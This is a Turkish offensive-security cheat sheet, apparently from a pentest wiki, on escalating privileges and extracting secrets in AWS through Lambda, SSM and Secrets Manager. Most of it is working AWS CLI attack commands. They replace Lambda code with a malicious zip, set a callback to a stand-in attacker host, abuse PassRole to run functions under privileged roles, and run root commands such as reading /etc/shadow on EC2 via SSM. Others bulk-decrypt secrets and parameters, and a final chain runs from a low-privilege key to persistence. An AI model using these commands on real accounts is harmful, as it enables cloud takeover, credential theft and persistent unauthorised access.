AWS — Lambda, SSM & Secrets
AWS privesc / secrets
AWS privesc / secrets
Serverless ve yönetim servisleri, IAM zincirlerinin ötesinde ek RCE ve sır çıkarma yolları sunar: Lambda fonksiyonları yüksek yetkili rollerle çalışır, SSM EC2’lerde komut çalıştırır, Secrets Manager / SSM Parameter Store ise kimlik bilgisi hazinesidir.
Ön koşullar
Section titled “Ön koşullar”- Geçerli AWS kimliği (kullanıcı veya rol)- İlgili API izinleri: lambda:*, ssm:SendCommand, secretsmanager:GetSecretValue vb.- veya mevcut bir Lambda içinde RCE (event injection, dependency)Lambda suistimatı
Section titled “Lambda suistimatı”aws lambda list-functions --region eu-west-1aws lambda get-function --function-name F # kod URL + configaws lambda get-function-configuration --function-name Faws lambda get-function-configuration --function-name F \ --query 'Environment.Variables'URL=$(aws lambda get-function --function-name F --query 'Code.Location' --output text)curl -sL "$URL" -o fn.zip && unzip -l fn.zipKod / config değiştirme (yetki varsa → rol bağlamında RCE):
aws lambda update-function-code --function-name F --zip-file fileb://evil.zipaws lambda invoke --function-name F --payload '{}' out.json && cat out.jsonaws lambda update-function-configuration --function-name F \ --environment "Variables={CB=https://attacker.oast}"iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction klasik privesc zinciridir (admin rolüyle fonksiyon çalıştır). Varyantlar:
lambda:UpdateFunctionCode → mevcut yüksek yetkili fnlambda:AddPermission + public URL → herkese invokelambda:CreateEventSourceMapping → tetikleyici ile persistlayers: PublishLayerVersion → supply-chain tarzı enjeksiyonaws lambda create-function --function-name pwn-$(date +%s) \ --runtime python3.12 --role arn:aws:iam::ACC:role/PrivilegedLambdaRole \ --handler lambda_function.lambda_handler --zip-file fileb://pwn.zip \ --timeout 30aws lambda invoke --function-name pwn-... out.jsonLambda içindeyken (RCE varsa) erişilebilirler:
env | sortcurl -s http://169.254.169.254/ # genelde yok; rol SDK default chain'defind /var/task -type f | headSSM — EC2’de komut çalıştırma
Section titled “SSM — EC2’de komut çalıştırma”SSM Agent yüklü ve IAM rolü AmazonSSMManagedInstanceCore (veya eşdeğeri) taşıyan örneklerde, API üzerinden root/SYSTEM komut çalıştırılır — SSH gerekmez.
-
Yönetilen örnekleri listele :
Terminal window aws ssm describe-instance-information --output tableTerminal window aws ssm describe-instance-information \--query 'InstanceInformationList[].{Id:InstanceId,Platform:PlatformType,Ping:PingStatus}' -
Komut gönder — SSM Agent’lı EC2’de:
Terminal window aws ssm send-command --document-name "AWS-RunShellScript" \--targets "Key=instanceids,Values=i-0123456789abcdef0" \--parameters 'commands=["id","uname -a","cat /etc/shadow | head"]' \--output text --query 'Command.CommandId'Terminal window aws ssm get-command-invocation --command-id <CID> \--instance-id i-0123456789abcdef0 -
Oturum aç — Interactive Session Manager:
Terminal window aws ssm start-session --target i-0123456789abcdef0Terminal window aws ssm start-session --target i-0123 \--document-name AWS-StartPortForwardingSession \--parameters '{"portNumber":["3389"],"localPortNumber":["13389"]}'
Windows için AWS-RunPowerShellScript kullan. ssm:SendCommand + geniş hedef seçimi neredeyse filoda RCE demektir.
Sır çıkarma
Section titled “Sır çıkarma”aws secretsmanager list-secretsaws secretsmanager get-secret-value --secret-id prod/dbaws secretsmanager get-secret-value --secret-id prod/db --query SecretString --output textaws ssm describe-parameters --max-items 50aws ssm get-parameters-by-path --path / --with-decryption --recursiveaws ssm get-parameter --name /prod/db/password --with-decryptionaws kms list-keysaws ssm get-parameters --names /a /b --with-decryptionDiğer sık sır kaynakları:
aws codecommit get-file ...aws ecr get-authorization-tokenaws glue get-connection --name ...aws rds describe-db-instances # master user; parola genelde secret'taaws cloudformation describe-stacks --query 'Stacks[].Parameters'aws lambda get-function-configuration ... # envKomut üreteci
Section titled “Komut üreteci”SSM · send-command
embedded toolaws ssm send-command --document-name AWS-RunShellScript --instance-ids i-0123456789abcdef0 --parameters commands=idSSM · send-command
Section titled “SSM · send-command”Saldırı zinciri
Section titled “Saldırı zinciri”Düşük yetkili key → lambda:ListFunctions + GetFunction → env'de DB pass → veya ssm:SendCommand → EC2 root → ~/.aws/credentials → veya secretsmanager:GetSecretValue → prod keys → PassRole / CreateAccessKey → kalıcılık